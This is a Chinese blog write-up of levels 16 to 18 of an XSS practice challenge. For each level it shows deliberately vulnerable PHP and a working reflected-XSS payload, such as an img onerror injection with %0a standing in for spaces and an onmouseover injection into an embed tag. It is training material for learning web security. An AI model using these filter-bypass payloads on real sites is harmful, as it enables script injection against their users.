zoukankan      html  css  js  c++  java
  • XSS挑战赛(4)

    16-20关

    第十六关

    关键代码为:

    <?php 
    ini_set("display_errors", 0);
    $str = strtolower($_GET["keyword"]);
    $str2=str_replace("script"," ",$str);
    $str3=str_replace(" "," ",$str2);
    $str4=str_replace("/"," ",$str3);
    $str5=str_replace(" "," ",$str4);
    echo "<center>".$str5."</center>";
    ?>

    对 script,空格 ,/ ,都进行了替换,但是没有对尖括号进行替换,而不使用script进行弹窗有很多的方式,例如我们使用 img 标签进行弹窗

    payload为

    ?keyword=<img%0asrc=x%0aonerror=alert(1)>

    因为空格被过滤了,所以我们采用一些能够替换空格的字符进行绕过,这里使用%0a

     

    十七关

    关键代码为:

    <?php
    ini_set("display_errors", 0);
    echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
    ?>

    之前使用 htmlspecialchars 函数过滤的地方,我们都是大部分是通过 on 事件来触发XSS,这里也一样,但是中间有等号,需要闭合掉

    payload构造为

    ?arg01=a&arg02=b%0aonmouseover=alert(1)

    使用onmouseover鼠标移动事件来触发XSS

    源代码为:

     

    十八关

    关键代码为:

    <?php
    ini_set("display_errors", 0);
    echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
    ?>

    感觉这个代码跟前一关差不多

    用之前的payload

    ?arg01=a&arg02=b onmouseover=alert(1)

    通过此关

     

    19,20关考点是 flash XSS,需要对flash反编译对源码进行分析,暂时跳过,啥时候学了flash再对这两关进行补充

    以上

     

  • 相关阅读:
    算法导论9.33
    第6章 堆排序
    算法导论9.36算法导论9.36 .
    算法导论83排序不同长度的数据项
    算法导论76对区间的模糊排序
    第8章 线性时间排序
    在bochs上运行的第一个操作系统
    算法导论6.58堆排序K路合并
    js中的preventDefault与stopPropagation详解(转)
    JS基础RegExp
  • 原文地址:https://www.cnblogs.com/Cl0ud/p/13513403.html
Copyright © 2011-2022 走看看